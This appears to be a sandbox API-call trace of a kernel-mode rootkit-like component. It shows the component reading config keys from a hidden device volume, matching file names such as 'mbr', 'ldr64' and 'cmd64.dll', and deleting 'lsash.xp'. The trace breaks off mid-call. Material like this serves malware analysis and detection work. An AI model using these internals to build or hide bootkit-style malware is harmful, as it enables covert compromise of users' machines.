IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.747] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.747] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.747] IdePortDispatch () returned 0x103 [0120.747] KeWaitForMutexObject () returned 0x0 [0120.747] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.747] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.747] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.747] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.747] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.747] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbb2f0 [0120.747] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.747] KeLeaveCriticalRegion () [0120.747] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.747] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.747] KeEnterCriticalRegion () [0120.747] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.747] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.747] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.747] KeLeaveCriticalRegion () [0120.747] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.747] KeEnterCriticalRegion () [0120.747] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.747] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.747] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.747] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.747] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.747] IdePortDispatch () returned 0x103 [0120.747] KeWaitForMutexObject () returned 0x0 [0120.747] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.747] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.747] KeLeaveCriticalRegion () [0120.747] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.748] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.748] KeEnterCriticalRegion () [0120.748] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.748] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034d2000 [0120.748] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.748] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.748] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.748] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.748] IdePortDispatch () returned 0x103 [0120.748] KeWaitForMutexObject () returned 0x0 [0120.748] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.748] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.748] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.748] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.748] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.748] IdePortDispatch () returned 0x103 [0120.748] KeWaitForMutexObject () returned 0x0 [0120.748] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.748] KeLeaveCriticalRegion () [0120.748] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.749] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.749] KeEnterCriticalRegion () [0120.749] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.749] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.749] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.749] KeLeaveCriticalRegion () [0120.749] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.749] KeEnterCriticalRegion () [0120.749] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.749] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.749] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.749] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.749] KeLeaveCriticalRegion () [0120.749] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.749] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.749] KeEnterCriticalRegion () [0120.749] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.749] ExFreePoolWithTag (P=0xfffffa8003bbb2f0, Tag=0x0) [0120.749] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.749] KeLeaveCriticalRegion () [0120.749] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.749] ReleaseMutex (hMutex=0xf0) returned 1 [0120.749] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.749] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.749] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.749] KeEnterCriticalRegion () [0120.749] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.749] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.749] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.749] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.749] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.749] IdePortDispatch () returned 0x103 [0120.749] KeWaitForMutexObject () returned 0x0 [0120.750] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.750] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.750] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.750] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.750] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.750] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbdc10 [0120.750] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.750] KeLeaveCriticalRegion () [0120.750] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.750] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.750] KeEnterCriticalRegion () [0120.750] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.750] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.750] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.750] KeLeaveCriticalRegion () [0120.750] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.750] KeEnterCriticalRegion () [0120.750] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.750] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.750] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.750] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.750] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.750] IdePortDispatch () returned 0x103 [0120.750] KeWaitForMutexObject () returned 0x0 [0120.750] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.750] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.750] KeLeaveCriticalRegion () [0120.750] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.750] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.750] KeEnterCriticalRegion () [0120.750] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.751] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034d3000 [0120.751] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.751] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.751] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.751] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.751] IdePortDispatch () returned 0x103 [0120.751] KeWaitForMutexObject () returned 0x0 [0120.751] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.751] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.751] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.751] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.751] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.751] IdePortDispatch () returned 0x103 [0120.751] KeWaitForMutexObject () returned 0x0 [0120.751] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.751] KeLeaveCriticalRegion () [0120.751] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.752] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.752] KeEnterCriticalRegion () [0120.752] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.752] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.752] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.752] KeLeaveCriticalRegion () [0120.752] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.752] KeEnterCriticalRegion () [0120.752] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.752] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.752] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbdcd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.752] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.752] KeLeaveCriticalRegion () [0120.752] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.752] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.752] KeEnterCriticalRegion () [0120.752] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.752] ExFreePoolWithTag (P=0xfffffa8003bbdc10, Tag=0x0) [0120.752] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.752] KeLeaveCriticalRegion () [0120.752] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.752] ReleaseMutex (hMutex=0xf0) returned 1 [0120.752] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.752] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0120.752] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.752] KeEnterCriticalRegion () [0120.752] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.752] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.752] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.752] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.752] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.752] IdePortDispatch () returned 0x103 [0120.752] KeWaitForMutexObject () returned 0x0 [0120.753] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.753] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.753] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.753] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.753] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.753] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bba600 [0120.753] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.753] KeLeaveCriticalRegion () [0120.753] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.753] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.753] KeEnterCriticalRegion () [0120.753] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.753] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.753] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.753] KeLeaveCriticalRegion () [0120.753] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.753] KeEnterCriticalRegion () [0120.753] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.753] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.753] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.753] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.753] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.753] IdePortDispatch () returned 0x103 [0120.753] KeWaitForMutexObject () returned 0x0 [0120.753] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.753] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.753] KeLeaveCriticalRegion () [0120.753] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.753] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.753] KeEnterCriticalRegion () [0120.753] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.753] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034d4000 [0120.753] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.754] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.754] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.754] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.754] IdePortDispatch () returned 0x103 [0120.754] KeWaitForMutexObject () returned 0x0 [0120.754] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.754] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.754] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.754] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.754] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.754] IdePortDispatch () returned 0x103 [0120.754] KeWaitForMutexObject () returned 0x0 [0120.754] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.754] KeLeaveCriticalRegion () [0120.754] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.755] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.755] KeEnterCriticalRegion () [0120.755] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.755] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.755] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.755] KeLeaveCriticalRegion () [0120.755] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.755] KeEnterCriticalRegion () [0120.755] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.755] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.755] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbbdd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.755] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.755] KeLeaveCriticalRegion () [0120.755] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.755] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.755] KeEnterCriticalRegion () [0120.755] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.755] ExFreePoolWithTag (P=0xfffffa8003bba600, Tag=0x0) [0120.755] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.755] KeLeaveCriticalRegion () [0120.755] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.755] ReleaseMutex (hMutex=0xf0) returned 1 [0120.755] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0120.755] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0120.755] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0120.755] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.755] KeEnterCriticalRegion () [0120.755] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.755] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.755] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.755] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.755] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.755] IdePortDispatch () returned 0x103 [0120.755] KeWaitForMutexObject () returned 0x0 [0120.755] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.755] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.755] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.756] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.756] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.756] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.756] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.756] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.756] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.756] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.756] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.756] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.756] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.756] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.756] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.756] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.756] KeLeaveCriticalRegion () [0120.756] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.756] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0120.756] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.756] KeEnterCriticalRegion () [0120.756] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.756] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.756] 